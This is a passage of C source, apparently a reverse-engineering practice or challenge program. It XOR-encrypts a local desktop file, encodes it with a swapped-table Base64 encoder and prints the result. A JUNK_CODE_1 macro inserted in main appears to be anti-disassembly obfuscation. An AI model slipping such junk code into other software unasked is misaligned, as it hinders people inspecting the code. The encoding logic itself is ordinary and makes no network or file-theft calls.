        triple |= (uint32_t)input[i] << 16;
        if (remain > 1) {
            triple |= (uint32_t)input[i + 1] << 8;
        }
        if (remain > 2) {
            triple |= (uint32_t)input[i + 2];
        }

        // 提取 4 个 6-bit 索引
        uint8_t b1 = (triple >> 18) & 0x3F;
        uint8_t b2 = (triple >> 12) & 0x3F;
        uint8_t b3 = (triple >> 6)  & 0x3F;
        uint8_t b4 = triple & 0x3F;

        // 查表
        out[pos++] = table[b1];
        out[pos++] = table[b2];

        if (remain > 1) {
            out[pos++] = table[b3];
        } else {
            out[pos++] = '='; // 填充
        }

        if (remain > 2) {
            out[pos++] = table[b4];
        } else {
            out[pos++] = '='; // 填充
        }

        i += 3;
    }

    out[pos] = '\0';
    return out;
}

int main(void)
{
    FILE *fp;
    char *filename = "C:\\Users\\Lenovo\\Desktop\\1.txt"; 
    uint8_t *file_buffer;
    uint8_t *xor_buffer;
    char *base64_result;
    size_t file_len;
     
    
    fp = fopen(filename, "rb");
    if (!fp) {
        fprintf(stderr, "Error: Cannot open file %s\n", filename);
        return 1;
    }

    
    fseek(fp, 0, SEEK_END);
    file_len = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    if (file_len == 0) {
        fclose(fp);
        return 0;
    }
    JUNK_CODE_1;
    
    file_buffer = (uint8_t *)malloc(file_len);
    xor_buffer = (uint8_t *)malloc(file_len);
    if (!file_buffer || !xor_buffer) {
        perror("Memory allocation failed");
        fclose(fp);
        return 1;
    }

    fread(file_buffer, 1, file_len, fp);
    fclose(fp);

    //先异或
    encrypt_xor(file_buffer, xor_buffer, file_len);

    // 换表 Base64 编码
    
    base64_result = encode_base64(xor_buffer, file_len);

   
    if (base64_result) {
        printf("Encrypted Result:\n%s\n", base64_result);
        free(base64_result);
    } else {
        printf("Encoding failed.\n");
    }

 
    free(file_buffer);
    free(xor_buffer);

    return 0;
}